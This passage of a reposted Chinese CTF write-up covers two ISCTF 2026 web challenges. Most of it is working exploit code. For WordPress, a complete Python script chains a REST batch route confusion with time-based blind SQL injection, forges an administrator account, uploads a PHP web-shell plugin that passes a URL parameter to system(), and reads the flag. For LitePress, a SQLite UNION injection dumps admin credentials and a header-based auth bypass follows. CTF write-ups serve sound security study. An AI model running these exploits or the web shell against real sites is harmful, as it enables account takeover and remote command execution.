  5. 批次里原本就带着两条 POST /wp/v2/users 创建管理员:第一次是匿名身份,失败;parse_request 重放时当前用户仍是临时管理员,创建成功。

最后脚本用同一套盲注确认新账号存在且具备管理员角色:

EXISTS(SELECT 1 FROM `wp_users` u JOIN `wp_usermeta` m ON m.user_id=u.ID
WHERE u.user_login=0x<username>
AND m.meta_key=0x<prefix>6361706162696c6974696573
AND INSTR(m.meta_value,0x733a31333a2261646d696e6973747261746f72223b623a313b)>0)

最终运行输出:

[*] forging changeset to create admin pwn_e3cf7e
[+] admin account created and verified

3.6 登录后台、上传插件 getshell 并读取 /flag

用刚创建的管理员登录 wp-login.php,访问 /wp-admin/plugin-install.php?tab=upload 拿到 _wpnonce,再以 multipart 提交到:

/wp-admin/update.php?action=upload-plugin

这里有两个实际踩到的点:

其一,插件 PHP 必须带合法的插件头。Plugin_Upgrader::check_package()(wp-admin/includes/class-plugin-upgrader.php)会在移动目录前扫描压缩包里的 PHP 文件:

$files = glob( $working_directory . '*.php' );
if ( $files ) {
    foreach ( $files as $file ) {
        $new_plugin_data = get_plugin_data( $file, false, false );
        if ( ! empty( $new_plugin_data['Name'] ) ) {
            $this->new_plugin_data = $new_plugin_data;
            break;
        }
    }
}

if ( empty( $this->new_plugin_data ) ) {
    return new WP_Error( 'incompatible_archive_no_plugins', $this->strings['incompatible_archive'], __( 'No valid plugins were found.' ) );
}

没有 Plugin Name: 头的 PHP 文件会被判定为「No valid plugins were found」,压缩包只会被解到 wp-content/upgrade/ 而不会移动进 wp-content/plugins/。第一次失败后检查服务器目录可以看到这种残留:

/tmp/wp-content/upgrade/diag1021b86c/diag1021b86c/diag1021b86c.php

补上插件头后安装立刻成功:

<?php
/*
Plugin Name: W2S Shell
Version: 1.0
*/

if(isset($_GET['c'])){ echo "===CMD===\n"; system($_GET['c']); }
?>

其二,外层代理 10 秒超时会把上传响应截成 502。 这个实例的 wp-admin 更新相关页面本身就会长时间挂起,代理等不到响应就返回 502;但上传请求已经进入 PHP,安装会在服务端继续完成。因此不能根据 HTTP 响应判断成功,脚本改为上传后轮询插件文件,直到能访问:

/wp-content/plugins/<slug>/<slug>.php

插件不需要激活,直接访问文件即可执行。最后执行 cat /flag:

===CMD===
ISCTF{9381c46c8207ae333a9f489775b37016}

/flag 是 /tmp/flag 的软链接,文件权限为 wpuser 可读,正好与 PHP 进程用户一致。

4. 完整解题脚本

保存为 solve_wp2shell.py,用法:

python solve_wp2shell.py http://110.42.47.164:32020

脚本只使用 Python 标准库,从目标首页开始,依次完成漏洞确认、盲注取数、管理员创建、插件上传和 flag 读取。

#!/usr/bin/env python3
"""End-to-end solve for the 'simple site' WordPress 6.9.4 challenge.

Chain: CVE-2026-63030 (REST /batch/v1 route confusion) + CVE-2026-60137
(author__not_in SQLi) -> forged oEmbed/changeset posts -> admin account ->
plugin upload -> command execution -> /flag.
"""

import hashlib
import http.cookiejar
import io
import json
import re
import secrets
import statistics
import sys
import time
import urllib.error
import urllib.parse
import urllib.request
import uuid
import zipfile

TARGET = (sys.argv[1] if len(sys.argv) > 1else"http://110.42.47.164:32020").rstrip("/")
DELAY = 0.4
TIMEOUT = 40.0
UA = "wp2shell-solve/1.0"
TRANSIENT_CODES = (502, 503, 504)


def is_transient(exc):
    if isinstance(exc, urllib.error.HTTPError):
        return exc.code in TRANSIENT_CODES
    return isinstance(exc, (urllib.error.URLError, TimeoutError))


def info(msg):
    print("[*]", msg, flush=True)


def ok(msg):
    print("[+]", msg, flush=True)


def sql_hex(value):
    returnf"0x{value.encode().hex()}"if value else"''"


def post_row(post_id, content, title, status, name, parent, post_type):
    ts = sql_hex("2020-01-01 00:00:00")
    return",".join(
        (
            str(post_id), "1", ts, ts,
            sql_hex(content), sql_hex(title), "''",
            sql_hex(status), sql_hex("closed"), sql_hex("closed"), "''",
            sql_hex(name), "''", "''", ts, ts, "''", str(parent), "''", "0",
            sql_hex(post_type), "''", "0",
        )
    )


class Exploit:
    def __init__(self, base, delay=DELAY, timeout=TIMEOUT):
        self.base = base
        self.batch_url = f"{base}/?rest_route=/batch/v1"
        self.sleep_delay = delay
        self.timeout = timeout
        self.threshold = None
        self.retry_band = None

    def request(self, url):
        for attempt in range(4):
            try:
                req = urllib.request.Request(url, headers={"User-Agent": UA})
                with urllib.request.urlopen(req, timeout=self.timeout) as resp:
                    return resp.read()
            except Exception as exc:
                ifnot is_transient(exc) or attempt == 3:
                    raise
                time.sleep(2)

    def send_batch(self, inner_requests):
        # The malformed first path desyncs the validation array from the
        # route-match array, so later sub-requests run with the wrong handler.
        payload = {
            "requests": [
                {"method": "POST", "path": "http://:"},
                {"method": "POST", "path": "/wp/v2/posts",
                 "body": {"requests": inner_requests}},
                {"method": "POST", "path": "/batch/v1"},
            ]
        }
        req = urllib.request.Request(
            self.batch_url,
            data=json.dumps(payload).encode(),
            headers={"Content-Type": "application/json", "User-Agent": UA},
            method="POST",
        )
        with urllib.request.urlopen(req, timeout=self.timeout) as resp:
            return resp.read()

    def send_batch_retry(self, inner_requests):
        for attempt in range(4):
            try:
                return self.send_batch(inner_requests)
            except Exception as exc:
                ifnot is_transient(exc) or attempt == 3:
                    raise
                time.sleep(2)

    def probe_time(self, condition):
        query = f"SELECT IF(({condition}),SLEEP({self.sleep_delay}),0)"
        inner = [
            {"method": "GET", "path": "http://:"},
            {"method": "GET", "path": "/wp/v2/categories?"
             + urllib.parse.urlencode({"author_exclude": query})},
            {"method": "GET", "path": "/wp/v2/posts"},
        ]
        # A transient 502 must not be measured as a fast sample; retry whole probe.
        for attempt in range(4):
            started = time.perf_counter()
            try:
                self.send_batch(inner)
                return time.perf_counter() - started
            except Exception as exc:
                ifnot is_transient(exc) or attempt == 3:
                    raise
                time.sleep(1)

    def calibrate(self):
        for _ in range(3):
            fast_samples = [self.probe_time("1=0") for _ in range(5)]
            slow_samples = [self.probe_time("1=1") for _ in range(3)]
            fast = statistics.median(fast_samples)
            slow = statistics.median(slow_samples)
            jitter = statistics.median(abs(s - fast) for s in fast_samples)
            if slow - fast > max(0.06, jitter * 8):
                self.threshold = (fast + slow) / 2
                self.retry_band = max(0.02, jitter * 3)
                return fast, slow
            self.sleep_delay *= 2
        raise RuntimeError("target does not appear vulnerable")

    def condition_is_true(self, condition):
        elapsed = self.probe_time(condition)
        if abs(elapsed - self.threshold) > self.retry_band:
            return elapsed > self.threshold
        samples = [elapsed, self.probe_time(condition), self.probe_time(condition)]
        return statistics.median(samples) > self.threshold

    def get_scalar(self, query, max_length):
        expr = f"COALESCE(({query}),'')"
        low, high = 0, max_length
        while low < high:
            mid = (low + high + 1) // 2
            if self.condition_is_true(f"CHAR_LENGTH({expr}) >= {mid}"):
                low = mid
            else:
                high = mid - 1
        out = []
        for pos in range(1, low + 1):
            lo, hi = 32, 126
            while lo < hi:
                mid = (lo + hi + 1) // 2
                if self.condition_is_true(
                        f"ASCII(SUBSTRING({expr},{pos},1)) >= {mid}"):
                    lo = mid
                else:
                    hi = mid - 1
            out.append(chr(lo))
        return"".join(out)

    def get_integer(self, query):
        expr = f"COALESCE(({query}),0)"
        low, high = 0, 1
        while self.condition_is_true(f"{expr} >= {high}"):
            low = high
            high *= 2
        while low < high:
            mid = (low + high + 1) // 2
            if self.condition_is_true(f"{expr} >= {mid}"):
                low = mid
            else:
                high = mid - 1
        return low

    def public_post_link(self):
        url = f"{self.base}/?rest_route=/wp/v2/posts&per_page=1&_fields=link"
        items = json.loads(self.request(url))
        return items[0]["link"]

    def seed_oembed_posts(self, public_link):
        # Embedding local posts makes WordPress persist oembed_cache rows
        # whose IDs we can recover through the blind SQLi.
        token = secrets.token_hex(6)
        parts = urllib.parse.urlsplit(public_link)
        embed_urls = [
            urllib.parse.urlunsplit(
                (parts.scheme, parts.netloc, parts.path, parts.query,
                 f"{token}{i}")
            )
            for i in range(3)
        ]
        content = "".join(
            f'[embed width="500" height="750"]{u}[/embed]'for u in embed_urls
        )
        seed = ("1) AND 1=0 UNION ALL SELECT "
                + post_row(0, content, "seed", "publish", "seed", 0, "post")
                + " -- -")
        self.send_batch_retry([
            {"method": "GET", "path": "http://:"},
            {"method": "GET", "path": "/wp/v2/widgets?"
             + urllib.parse.urlencode({
                 "author_exclude": seed, "per_page": -1,
                 "orderby": "none", "context": "view"})},
            {"method": "GET", "path": "/wp/v2/posts"},
        ])
        return token, embed_urls

    def recover_context(self):
        posts_table = self.get_scalar(
            "SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES "
            "WHERE TABLE_SCHEMA=DATABASE() "
            "AND RIGHT(TABLE_NAME,6)=0x5f706f737473 "
            "ORDER BY CHAR_LENGTH(TABLE_NAME),TABLE_NAME LIMIT 1", 64)
        ifnot re.fullmatch(r"[A-Za-z0-9_$]+_posts", posts_table):
            raise RuntimeError("posts table not found")
        prefix = posts_table[:-5]
        admin_id = self.get_integer(
            f"SELECT u.ID FROM `{prefix}users` u "
            f"JOIN `{prefix}usermeta` m ON m.user_id=u.ID "
            f"WHERE m.meta_key={sql_hex(prefix + 'capabilities')} "
            "AND INSTR(m.meta_value,"
            + sql_hex('s:13:"administrator";b:1;') + ")>0 ORDER BY u.ID LIMIT 1")
        return posts_table, prefix, admin_id

    def recover_cache_ids(self, posts_table, embed_urls):
        ids = []
        size = 'a:2:{s:5:"width";s:3:"500";s:6:"height";s:3:"750";}'
        for url in embed_urls:
            key = hashlib.md5((url + size).encode()).hexdigest()
            post_id = self.get_integer(
                f"SELECT ID FROM `{posts_table}` "
                "WHERE post_type=0x6f656d6265645f6361636865 "
                f"AND post_name=0x{key.encode().hex()} ORDER BY ID DESC LIMIT 1")
            if post_id < 1:
                raise RuntimeError("oembed cache post not found")
            ids.append(post_id)
        return ids

    def create_admin(self, admin_id, cache_ids, embed_urls, username,
                     password, email)
:

        outer = 1_800_000_000 + secrets.randbelow(100_000_000)
        nav = outer + 1
        inner = outer + 2
        changeset = json.dumps(
            {f"nav_menu_item[{nav}]": {
                "value": {
                    "object_id": 0, "object": "", "menu_item_parent": 0,
                    "position": 0, "type": "custom", "title": "proof",
                    "url": "https://example.com", "target": "",
                    "attr_title": "", "description": "proof", "classes": "",
                    "xfn": "", "status": "publish", "nav_menu_term_id": 0,
                    "_invalid": False,
                },
                "type": "nav_menu_item", "user_id": admin_id,
            }}, separators=(",", ":"))
        rows = (
            post_row(0, f'[embed width="500" height="750"]{embed_urls[1]}[/embed]',
                     "trigger", "publish", "trigger", 0, "post"),
            post_row(cache_ids[0], changeset, "changeset", "future",
                     str(uuid.uuid4()), outer, "customize_changeset"),
            post_row(outer, "outer", "outer", "draft", "outer",
                     cache_ids[0], "post"),
            post_row(cache_ids[1], "", "cache", "publish", "cache",
                     cache_ids[0], "post"),
            post_row(nav, "nav", "nav", "publish", "nav",
                     cache_ids[2], "nav_menu_item"),
            post_row(cache_ids[2], "parse", "parse", "parse", "parse",
                     inner, "request"),
            post_row(inner, "inner", "inner", "draft", "inner",
                     cache_ids[2], "post"),
        )
        query = "1) AND 1=0 UNION ALL SELECT " + " UNION ALL SELECT ".join(rows) + " -- -"
        account = {"username": username, "email": email,
                   "password": password, "roles": ["administrator"]}
        self.send_batch([
            {"method": "GET", "path": "http://:"},
            {"method": "GET", "path": "/wp/v2/widgets?"
             + urllib.parse.urlencode({
                 "author_exclude": query, "per_page": -1,
                 "orderby": "none", "context": "view"})},
            {"method": "GET", "path": "/wp/v2/posts"},
            {"method": "POST", "path": "/wp/v2/users", "body": account},
            {"method": "POST", "path": "/wp/v2/users", "body": account},
        ])

    def admin_exists(self, prefix, username):
        cond = (
            f"EXISTS(SELECT 1 FROM `{prefix}users` u "
            f"JOIN `{prefix}usermeta` m ON m.user_id=u.ID "
            f"WHERE u.user_login={sql_hex(username)} "
            f"AND m.meta_key={sql_hex(prefix + 'capabilities')} "
            "AND INSTR(m.meta_value,"
            + sql_hex('s:13:"administrator";b:1;') + ")>0)")
        return self.condition_is_true(cond)


class NoRedirect(urllib.request.HTTPRedirectHandler):
    def redirect_request(self, req, fp, code, msg, headers, newurl):
        returnNone


class Browser:
    def __init__(self):
        self.jar = http.cookiejar.CookieJar()
        self.opener = urllib.request.build_opener(
            urllib.request.HTTPCookieProcessor(self.jar), NoRedirect())
        self.opener.addheaders = [("User-Agent", UA)]

    def open(self, url, data=None, headers=None, timeout=TIMEOUT):
        req = urllib.request.Request(url, data=data, headers=headers or {})
        try:
            with self.opener.open(req, timeout=timeout) as resp:
                return resp.status, resp.read()
        except urllib.error.HTTPError as exc:
            return exc.code, exc.read()

    def get(self, url):
        return self.open(url)

    def login(self, username, password):
        body = urllib.parse.urlencode({
            "log": username, "pwd": password,
            "wp-submit": "Log In",
            "redirect_to": f"{TARGET}/wp-admin/",
            "testcookie": "1",
        }).encode()
        self.open(f"{TARGET}/wp-login.php", data=body)
        names = [c.name for c in self.jar]
        ifnot any(n.startswith("wordpress_logged_in_") for n in names):
            raise RuntimeError("login failed")
        returnTrue

    def upload_nonce(self):
        status, body = self.get(f"{TARGET}/wp-admin/plugin-install.php?tab=upload")
        text = body.decode("utf-8", "replace")
        match = re.search(r'name="_wpnonce"[^>]*value="([^"]+)"', text)
        ifnot match:
            raise RuntimeError("upload nonce not found")
        return match.group(1)


def make_plugin_zip(slug, php_code):
    buffer = io.BytesIO()
    with zipfile.ZipFile(buffer, "w", zipfile.ZIP_DEFLATED) as zf:
        zf.writestr(f"{slug}/{slug}.php", php_code)
    return buffer.getvalue()


def upload_plugin(browser, nonce, slug, zip_bytes):
    boundary = "----w2s" + secrets.token_hex(8)
    parts = []

    def field(name, value):
        parts.append(
            f'--{boundary}\r\nContent-Disposition: form-data; name="{name}"\r\n\r\n{value}\r\n'.encode())

    field("_wpnonce", nonce)
    field("_wp_http_referer", "/wp-admin/plugin-install.php?tab=upload")
    parts.append(
        f'--{boundary}\r\nContent-Disposition: form-data; name="pluginzip"; '
        f'filename="{slug}.zip"\r\nContent-Type: application/zip\r\n\r\n'.encode()
        + zip_bytes + b"\r\n")
    field("install-plugin-submit", "Install Now")
    parts.append(f"--{boundary}--\r\n".encode())
    body = b"".join(parts)
    headers = {"Content-Type": f"multipart/form-data; boundary={boundary}"}
    # The site fronts a 10s proxy timeout; the install still completes server
    # side, so a 502/timeout here is not fatal.
    try:
        browser.open(f"{TARGET}/wp-admin/update.php?action=upload-plugin",
                     data=body, headers=headers, timeout=30)
    except Exception:
        pass


def wait_shell(url, tries=45):
    for _ in range(tries):
        try:
            req = urllib.request.Request(url, headers={"User-Agent": UA})
            with urllib.request.urlopen(req, timeout=20) as resp:
                if resp.status == 200:
                    returnTrue
        except urllib.error.HTTPError:
            pass
        except urllib.error.URLError:
            pass
        time.sleep(2)
    returnFalse


def main():
    ex = Exploit(TARGET)
    info("calibrating timing oracle")
    fast, slow = ex.calibrate()
    ok(f"vulnerable: baseline {fast:.3f}s / delayed {slow:.3f}s")

    info("seeding oembed caches and recovering database context")
    public = ex.public_post_link()
    token, embed_urls = ex.seed_oembed_posts(public)
    posts_table, prefix, admin_id = ex.recover_context()
    ok(f"table={posts_table} admin_id={admin_id}")
    cache_ids = ex.recover_cache_ids(posts_table, embed_urls)
    ok(f"oembed cache ids={cache_ids}")

    suffix = secrets.token_hex(3)
    username = f"pwn_{suffix}"
    password = f"Pwn3d!{suffix}"
    email = f"{username}@wp2shell.local"
    info(f"forging changeset to create admin {username}")
    try:
        ex.create_admin(admin_id, cache_ids, embed_urls, username, password, email)
    except Exception as exc:
        # A lost 502 response does not mean the batch did not execute.
        ifnot is_transient(exc):
            raise
    ifnot ex.admin_exists(prefix, username):
        raise RuntimeError("admin creation failed")
    ok("admin account created and verified")

    browser = Browser()
    info("logging in and uploading plugin shell")
    browser.login(username, password)
    nonce = None
    for _ in range(6):
        try:
            nonce = browser.upload_nonce()
            break
        except RuntimeError:
            time.sleep(3)
    ifnot nonce:
        raise RuntimeError("upload page unavailable")
    slug = f"w2s_{secrets.token_hex(4)}"
    info(f"uploading plugin shell {slug}")
    php = ("<?php\n/*\nPlugin Name: W2S Shell\nVersion: 1.0\n*/\n"
           "if(isset($_GET['c'])){ echo \"===CMD===\\n\"; "
           "system($_GET['c']); }\n?>")
    upload_plugin(browser, nonce, slug, make_plugin_zip(slug, php))
    shell_url = f"{TARGET}/wp-content/plugins/{slug}/{slug}.php"
    ifnot wait_shell(shell_url):
        raise RuntimeError("plugin shell did not become available")

    status, body = Browser().get(
        shell_url + "?c=" + urllib.parse.quote("cat /flag"))
    output = body.decode("utf-8", "replace")
    print(output)
    match = re.search(r"[A-Za-z0-9_]+{[^}]+}", output)
    ifnot match:
        raise RuntimeError("flag not found")
    ok("flag: " + match.group(0))


if __name__ == "__main__":
    main()

LitePress

核心思路:/docs 暴露的 REST 接口里,search?q= 用 addslashes 转义后拼进 SQLite 查询——而 SQLite 不把反斜杠当转义符,转义形同虚设,构成 UNION 注入。用 char() 构造字符串字面量避开引号转义,从 admins 表拖出运行时随机生成的管理员用户名(adm_0ea56b)与 bcrypt 哈希。后台 /admin/options 的鉴权缺陷在于:它只读请求头 X-LP-Token,且令牌值直接等于管理员用户名,不需要口令、也不需要破解 bcrypt。带上该头即取回后台配置里的 flag。

1. 题目说明

  • 赛事:ISCTF 2026(BLUE SHARK × ISCTF),出题人 kivvs。
  • 题目描述:「超级好用的 LitePress 系统,你们可千万别把它玩坏了哟!!!」目标:拿到后台配置里的 flag。
  • flag 格式:ISCTF{...}。
  • 目标地址:以平台当次下发为准(动态实例,不写死 IP/端口)。解题时为 http://110.42.47.164:32003/;早期探测脚本里出现的 :32018 是更早一个实例的端口。
  • 服务端:X-Powered-By: PHP/7.4.33,数据库为 SQLite。

站点自带前端与一套 lp-json/lp/v2 风格的 REST API,基础路径 /lp-json/lp/v2,响应均为 JSON。/docs 页面给出的接口文档(实测原文摘录):

方法
路径
参数
说明
GET
/lp-json/lp/v2/ping
echo
连通性探测,回显 echo 参数
GET
/lp-json/lp/v2/tags
per_page
标签列表
GET
/lp-json/lp/v2/posts
per_page, omit
文章列表;omit 为排除的文章 ID,已做整数归一
GET
/lp-json/lp/v2/search
q
标题/正文关键词检索,关键词经转义后参与匹配
GET
/lp-json/lp/v2/byids
ids
按 ID 批量取文章,ID 列表强制整数化
GET
/lp-json/lp/v2/archive
year
按年度归档,年份为四位整数
POST
/lp-json/lp/v2/batch
requests
聚合端点:一次请求携带多条子请求,服务端统一分发后返回结果数组
GET
/lp-json/lp/v2/admin/stats
secret
管理统计,需凭据
GET
/lp-json/lp/v2/admin/options
—
站点选项,需凭据

文档对聚合端点的说明:「子请求之间彼此独立,任一条子请求解析失败不会影响其余子请求的结果。」

实际约束(实测确认):

  • 管理员用户名在运行时随机生成,前台不展示(解题实例为 adm_0ea56b,每个实例不同)。
  • search 的 q 经 addslashes 转义;posts?omit、byids?ids、archive?year 均做整数归一,无注入。
  • 两个 admin 接口未带凭据时返回 {"code":"rest_forbidden","message":"Sorry, you are not allowed to do that."}(403)。
  • 本机出口走代理 127.0.0.1:7897,直连目标超时;curl 与 urllib(读取环境代理)均经代理访问。

2. 解题思路

攻击路线是一条「注入泄露身份 → 鉴权缺陷冒充身份 → 读后台配置」的链:

  1. 读 /docs,把攻击面收敛到「q 经转义后参与匹配」的 search,以及两个「需凭据」的 admin 接口。
  2. 验证 addslashes 对 SQLite 无效,构造 UNION 注入,先拖库表结构再拖 admins 表,拿到随机管理员用户名与口令哈希。
  3. 弄清 admin 接口到底认什么凭据:以泄露的用户名为值, fuzz 常见 Cookie 名与请求头名,发现 X-LP-Token: <用户名> 即可通过 /admin/options 鉴权——令牌就是用户名,口令哈希无需破解。
  4. 带 X-LP-Token 头请求 /admin/options,取回后台配置中的 flag。

两条被排除的岔路(实测确认,非主线):

  • batch 聚合/嵌套子请求:曾试图用坏子请求制造解析错位、或用嵌套 batch 把外层凭据带进 admin 子请求。实测 batch 不转发外层请求头,带 X-LP-Token 外层头的 batch 仍 403;错位也不改变鉴权结果。这是障眼法,不是漏洞点。
  • 破解 bcrypt:crack.py/crack2.py 曾对泄露的哈希跑字典,但鉴权根本不看口令,破解无必要。

3. 解题过程

3.1 读接口文档,锁定 search 注入面

关键观察: 文档明说 search 的「关键词经转义后参与匹配」,而 posts/byids/archive 的参数都「整数归一/强制整数化」。整数归一堵死了那些参数的注入,唯独 search 的 q 是字符串拼接,是唯一的注入候选。两个 admin 接口标注「需凭据」,是最终目标。

原理与操作: 先正常请求 search?q=welcome 确认返回结构为 [{"id":"...","title":"..."}]——两列(id、title)。这决定了 UNION 注入需要 SELECT 1, <表达式> 两列,且第二列会回显到 title 字段,成为数据外带通道。

本步结果: 确定注入点 search?q=、回显位 title、UNION 列数 2。

3.2 用 UNION 注入拖出 admins 表

关键观察:q 经 addslashes 转义。addslashes 会给 '、"、\、NUL 前加反斜杠,这是 MySQL 风格的转义假设;但后端是 SQLite,SQLite 默认不把反斜杠当转义符,\' 里的反斜杠只是普通字符,单引号照样闭合字符串。因此转义对 SQLite 无效,注入成立。

原理与操作: 注入还需在 SQL 内部使用字符串字面量(如分隔符 ':'),而字面量里的引号又会被 addslashes 加反斜杠。用 SQLite 的 char() 函数以 ASCII 码构造字符即可完全避开引号:char(58) = :,char(10) = 换行,char(39) = 单引号。

先确认库表(sqlite_master):表为 posts、comments、tags、admins,admins 仅 1 行。再拖管理员凭据,payload 与实测响应:

GET /lp-json/lp/v2/search?q=' UNION SELECT 1,(SELECT group_concat(user_login||char(58)||user_pass) FROM admins)--
[{"id":"1","title":"adm_0ea56b:$2y$10$w3EW9Qc6pqViSgTADFkfVOPUDRhvfDiRB4aPL3vyy5GphDa9veQdy"}]

group_concat(user_login||char(58)||user_pass) 把用户名与哈希用 : 拼成一个字符串落进 title。count(*) 验证 admins 行数为 1。

本步结果: 拿到运行时随机的管理员用户名 adm_0ea56b 与 bcrypt 哈希 $2y$10$w3EW9Qc6...。用户名前台不可见,只能靠注入泄露;每个实例需重新拖取。

3.3 发现后台鉴权只认 X-LP-Token = 用户名

关键观察: 直接请求 /admin/options 与 /admin/stats 均 403;给 stats 传各种 secret(0/1/true/null/[] 等)也全 403。说明凭据不是简单的 secret 参数。考虑到已掌握管理员用户名,猜测鉴权可能读取某个请求头或 Cookie,且其值与用户名相关。

原理与操作: 以泄露的用户名 adm_0ea56b 为值,对一批常见 Cookie 名(lp_admin/lp_auth/lp_token/litepress_admin/PHPSESSID/...)与请求头名(X-LP-Secret/X-LP-Token/X-Admin-Token/X-Auth-Token/Authorization/X-Secret/X-Token/Cookie)逐一 fuzz /admin/options,记录非 403 响应。实测唯一命中:

non-403: 1
('header', 'X-LP-Token', 'u', 200, b'{"site":"LitePress","version":"1.4.2","flag":"ISCTF{5b6746f68676934607d4540896778295}"}')

即请求头 X-LP-Token 的值等于管理员用户名(u 标记表示用 username 作值)时返回 200。鉴权逻辑实质是「令牌 == 某个管理员的 user_login」,不校验口令。因此 bcrypt 哈希无需破解(crack.py/crack2.py 的字典尝试可中止)。

本步结果: 取得冒充管理员的原语:X-LP-Token: adm_0ea56b。

3.4 取后台配置中的 flag

原理与操作: 带该头直接请求 /admin/options(实测 curl):

curl -s -i -H 'X-LP-Token: adm_0ea56b' \
  http://110.42.47.164:32003/lp-json/lp/v2/admin/options

实测响应:

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Date: Tue, 17 Nov 2026 07:00:31 GMT
X-Powered-By: PHP/7.4.33

{"site":"LitePress","version":"1.4.2","flag":"ISCTF{5b6746f68676934607d4540896778295}"}

边界验证(同一令牌):

  • /admin/stats 仍 403——它需要另一个 secret 凭据,X-LP-Token 只对 options 生效。
  • 把 X-LP-Token 放在 batch 外层头、子请求指向 /admin/options:仍 403——batch 不转发外层头,无法借聚合端点绕过。

本步结果: 后台配置返回 flag,链路闭环。

4. 完整解题脚本

一份可独立运行的脚本,复现「search SQLi 泄露管理员名 → X-LP-Token 鉴权绕过 → 读后台 flag」。它从实时注入响应解析用户名(不预置 flag),目标地址按当次实例修改 BASE。urllib 自动读取环境代理,与本机 curl 行为一致。

#!/usr/bin/env python3
# LitePress (ISCTF 2026, kivvs) — search SQLi 泄露管理员名 -> X-LP-Token 鉴权绕过 -> 后台 flag
# 运行环境:Python3 标准库。urllib 自动读取环境代理(HTTP_PROXY 等);
# 本机出口走 127.0.0.1:7897,直连目标会超时。目标地址为平台动态下发,按当次实例修改 BASE。
import json
import re
import urllib.parse
import urllib.request
import urllib.error

BASE = "http://110.42.47.164:32003/lp-json/lp/v2"

# 显式使用环境代理(与本机 curl 行为一致)
opener = urllib.request.build_opener(
    urllib.request.ProxyHandler(urllib.request.getproxies())
)


def http(url, headers=None):
    req = urllib.request.Request(url, headers=headers or {})
    try:
        with opener.open(req, timeout=25) as r:
            return r.status, r.read().decode("utf-8", "replace")
    except urllib.error.HTTPError as e:
        return e.code, e.read().decode("utf-8", "replace")
    except Exception as e:
        returnNone, "%s: %s" % (type(e).__name__, e)


def main():
    # 1) search 接口 SQLi:addslashes 对 SQLite 无效,char(58) 构造 ':' 分隔符避免引号被转义。
    #    原查询为两列(id, title),UNION SELECT 1,(子查询) 把结果落到 title 字段。
    payload = ("' UNION SELECT 1,(SELECT group_concat(user_login||char(58)||user_pass) "
               "FROM admins)-- ")
    url = BASE + "/search?" + urllib.parse.urlencode({"q": payload})
    s, b = http(url)
    print("[sqli]", s, b[:300])
    if s != 200:
        print("  实例可能已下线或地址变更,无法继续。")
        return

    # 2) 解析泄露的管理员用户名(运行时随机,形如 adm_0ea56b)
    rows = json.loads(b)
    leak = rows[0]["title"]                 # adm_0ea56b:$2y$10$...
    username = leak.split(":", 1)[0]
    print("[admin user_login]", username)
    print("[admin user_pass ]", leak.split(":", 1)[1])

    # 3) 后台 /admin/options 仅以 X-LP-Token 头鉴权,令牌值即管理员用户名(无需口令/破解 bcrypt)
    s, b = http(BASE + "/admin/options", {"X-LP-Token": username})
    print("[admin/options]", s, b)

    m = re.search(r"ISCTF\{[^}]+\}", b)
    if s == 200and m:
        print("[flag]", m.group(0))
    else:
        print("[结论] 未取得 flag。")


if __name__ == "__main__":
    main()

转载声明:本文转载自原发布平台 (作者:玄网安全), 原文标题《ISCTF2026-WEB(部分)》, 查看原文。 版权归原作者及原发布平台所有,本站仅作收录与展示,未对正文内容作实质性修改; 若涉及侵权请联系本站处理。